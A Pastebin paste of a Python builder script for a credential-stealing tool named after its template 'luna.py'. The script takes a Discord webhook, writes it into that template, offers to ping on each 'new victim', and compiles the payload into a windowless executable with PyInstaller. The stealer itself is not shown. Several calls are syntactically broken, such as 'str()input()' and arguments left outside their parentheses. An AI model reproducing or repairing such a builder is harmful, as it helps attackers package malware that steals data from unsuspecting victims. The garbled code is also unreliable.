Advertisement
idk92928283

mias tool

Feb 21st, 2024
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 13.86 KB | None | 0 0
  1.  
  2.  
  3.  
  4. ███╗░░░███╗██╗░█████╗░░██████╗  ████████╗░█████╗░░█████╗░██╗░░░░░
  5. ████╗░████║██║██╔══██╗██╔════╝  ╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░
  6. ██╔████╔██║██║███████║╚█████╗░  ░░░██║░░░██║░░██║██║░░██║██║░░░░░
  7. ██║╚██╔╝██║██║██╔══██║░╚═══██╗  ░░░██║░░░██║░░██║██║░░██║██║░░░░░
  8. ██║░╚═╝░██║██║██║░░██║██████╔╝  ░░░██║░░░╚█████╔╝╚█████╔╝███████╗
  9. ╚═╝░░░░░╚═╝╚═╝╚═╝░░╚═╝╚═════╝░  ░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝w
  10.  
  11.  
  12. import os
  13. import requests
  14. import random
  15. import shutil
  16. import subprocess
  17. import time
  18. import sys
  19. from json import load
  20. from urllib.request import urlopen
  21. from alive_progress import alive_bar
  22. from colorama import Fore, Style, init
  23.  
  24. class Builder:
  25.     def __init__(self) -> None:
  26.         self.loading()
  27.  
  28.         if not self.check():
  29.             exit()
  30.  
  31.         self.webhook = input(
  32.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Enter your webhook: ')
  33.         if not self.check_webhook(self.webhook):
  34.             print()
  35.                 f"{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}")
  36.             str()input()
  37.                 f"{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press anything to exit..."))
  38.             sys.exit()
  39.  
  40.         self.filename = input()
  41.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Enter your filename: ')
  42.         self.ping = input()
  43.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Ping on new victim? (y/n): ')
  44.  
  45.         if self.ping.lower() == 'y':
  46.             self.ping = True
  47.  
  48.             self.pingtype = input(
  49.                 f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Ping type (here/everyone): ').lower()
  50.             if self.pingtype not in ["here", "everyone"]:
  51.                 # default to @here if invalid ping type.
  52.                 self.pingtype == "here"
  53.         else:
  54.             self.ping = False
  55.             self.pingtype = "none"
  56.  
  57.         self.compy = input()
  58.                 f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Do you want to compile the file to a .exe? (y/n):')
  59.  
  60.         self.mk_file(self.filename, self.webhook)
  61.  
  62.         print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Built!')
  63.  
  64.         run = input()
  65.             f'\n\n\n{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Do you want to test run the file? [y/n]: ')
  66.         if run.lower() == 'y':
  67.             self.run(self.filename)
  68.  
  69.         input(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press enter to exit...')
  70.  
  71.     def loading(self):
  72.         p = Fore.MAGENTA + Style.DIM
  73.         r = Fore.RED + Style.BRIGHT
  74.  
  75.         img = fr"""{p}
  76.                                                                 ...                                                                    ...
  77.                                                               ,(#(*.                                                                 ,/%#/.
  78.                                                             ./#%%%(,                                                                 /#%%%(*
  79.                                                            ./#%%%%%/,                                                              .*#%%%%%(,
  80.                                                            *#%%%%%&%(,.             ..,,,*****/////////////****,,,...             ,/%%%%%%%#/.
  81.                                                            *(%%%%%%%%%(*.  .,*/(#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#(*,..  ,/#%%%%%%%%#/.
  82.                                                            ,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%(*.
  83.                                                            .*#%%%%%%%%%%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%/,.
  84.                                                         .*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%/.
  85.                                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  86.                                                      .*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%%%%%(.
  87.                                                     .(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  88.                                                    *#%%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(.
  89.                                                  .(#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(*
  90.                                                 ,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(*.
  91.                                                ./%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  92.                                               ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*
  93.                                              ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  94.                                             .(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,
  95.                                            ,/#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(*
  96.                                            *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(
  97.                                           *(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  98.                                          .(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,
  99.                                         .,#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}#####{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}######{p}%%%%%%%%%%%%%%%%%%%%%%%%%/.
  100.                                         ,/#%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}###########{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}###########{p}%%%%%%%%%%%%%%%%%%%%%%%%%(,
  101.                                         *#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}################{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}##################{p}%%%%%%%%%%%%%%%%%%%%%%%%%#/
  102.                                         *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}#####################{p}%%%%%%%%%%%%%%%%%%%{r}######################{p}%%%%%%%%%%%%%%%%%%%%%%%%%%(.
  103.                                        ./%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}###################{p}%%%%%%%%%%%%%%%%%%%%%{r}####################{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%#.
  104.                                        ,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}#################{p}%%%%%%%%%%%%%%%%%%%%%%%{r}##################{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,.
  105.                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}#############{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%{r}############{p}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  106.                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  107.                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  108.                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*.
  109.                                        ,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%%%%%%%%%%%%%%%%%%%%%%#,.
  110.                                        ./%%%%%%%%%%%%%%%%%%%%%%%%%%%%###%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###%%%%%%%%%%%%%%%%%%%%%%%%%%%#,.
  111.                                         *#%%%%%%%%%%%%%%%%%%%%%%%%%(*....,*(#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#(/,....,/#%%%%%%%%%%%%%%%%%%%%%%%%#/.
  112.                                           .*/#%%%%%%%%%%%%%%%%%%%%%%%%#(*,.   .,,*//((###%%%%%%%%%%%%%%%%%%%%%%%##((//*,,.   .,*/(#%%%%%%%%%%%%%%%%%%%%%%%#(/,.
  113.                                               .*(%%%%%%%%%%%%%%%%%%%%%%%%%%%(.              ...,,,,***,,,...              .*#%%%%%%%%%%%%%%%%%%%%%%%%%%#/,
  114.                                                   .,/(#%%%%%%%%%%%%%%%%%%%%/,                                              ./#%%%%%%%%%%%%%%%%%%%%#/*,.
  115.                                                        .*/(#%%%%%%%%%%%%%#/.                                                 *(%%%%%%%%%%%%%##(*,.
  116.                                                             ..*/(#%%%%%%(,                                                    ./#&%%%%%#(*,..
  117.                                                                   .,***,                                                        ,*/*,..
  118.  
  119.  
  120.                       IP: {load(urlopen('https://jsonip.com/'))['ip']}
  121.                 Username: {os.getlogin()}
  122.                  PC Name: {os.getenv('COMPUTERNAME')}
  123.         Operating System: {os.getenv('OS')}
  124.  
  125. |"""
  126.  
  127.         with alive_bar(40) as bar:
  128.             for _ in range(40):
  129.                 print(img)
  130.                 time.sleep(random.randint(1, 3) / 40)
  131.                 os.system('cls')
  132.                 bar()
  133.  
  134.             os.system('cls')
  135.  
  136.         print(Style.RESET_ALL)
  137.  
  138.     def check_webhook(self, webhook):
  139.         try:
  140.             with requests.get(webhook) as r:
  141.                 if r.status_code == 200:
  142.                     return True
  143.                 else:
  144.                     return False
  145.         except BaseException:
  146.             return False
  147.  
  148.     def check(self):
  149.         required_files = {'./luna.py',
  150.                           './requirements.txt', }
  151.  
  152.         for file in required_files:
  153.             if not os.path.isfile(file):
  154.                 print(f'{Fore.RED}[!]{Fore.RESET} {file} not found!')
  155.                 return False
  156.  
  157.         try:
  158.             print()
  159.                 subprocess.check_output(
  160.                     "python -V",
  161.                     stderr=subprocess.STDOUT))
  162.             print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
  163.  
  164.         except subprocess.CalledProcessError:
  165.             print(f'{Fore.RED}[!]{Fore.RESET} Python not found!')
  166.             return False
  167.  
  168.         os.system('pip install --upgrade -r requirements.txt')
  169.  
  170.         os.system('cls')
  171.  
  172.         os.system('mode con:cols=150 lines=20')
  173.  
  174.         return True
  175.  
  176.     def mk_file(self, filename, webhook):
  177.         print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Generating source code...')
  178.  
  179.         with open('./luna.py', 'r', encoding="utf-8") as f:
  180.             code = f.read()
  181.  
  182.         with open(f"{filename}.py", "w", encoding="utf-8") as f:
  183.             f.write(code.replace('%webhook_here%', webhook)
  184.                     .replace("\"%ping_enabled%\"", str(self.ping))
  185.                     .replace("%ping_type%", self.pingtype))
  186.  
  187.         if self.compy == 'y':
  188.             self.compile(filename)
  189.         else:
  190.             time.sleep(2)
  191.             print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Source code has been generated...')
  192.             input(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press enter to exit...')
  193.             sys.exit()
  194.  
  195.     def compile(self, filename):
  196.         print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Compiling code...')
  197.        
  198.         os.system()
  199.             f'python -m PyInstaller --onefile --noconsole -i NONE --distpath ./ .\\{filename}.py')
  200.            
  201.         cleans_dir = {'./__pycache__', './build'}
  202.         cleans_file = {f'./{filename}.spec', f'./{filename}.py'}
  203.  
  204.         for clean in cleans_dir:
  205.             try:
  206.                 if os.path.isdir(clean):
  207.                     shutil.rmtree(clean)
  208.                     print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {clean} removed!')
  209.             except Exception:
  210.                 print(f'{Fore.RED}[{Fore.RESET}!{Fore.RED}]{Fore.RESET} {clean} not found!')
  211.                 continue
  212.  
  213.         for clean in cleans_file:
  214.             try:
  215.                 if os.path.isfile(clean):
  216.                     os.remove(clean)
  217.                     print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {clean} removed!')
  218.             except Exception:
  219.                 print(f'{Fore.RED}[!]{Fore.RESET} {clean} not found!')
  220.                 continue
  221.  
  222.     def run(self, filename):
  223.         print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Attempting to execute file...')
  224.  
  225.         if os.path.isfile(f'./{filename}.exe'):
  226.             os.system(f'start ./{filename}.exe')
  227.  
  228. if __name__ == '__main__':
  229.     init()
  230.  
  231.     if os.name != "nt":
  232.         os.system("clear")
  233.     else:
  234.         os.system('mode con:cols=212 lines=212')
  235.         os.system("cls")
  236.  
  237.     Builder()
  238.     input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement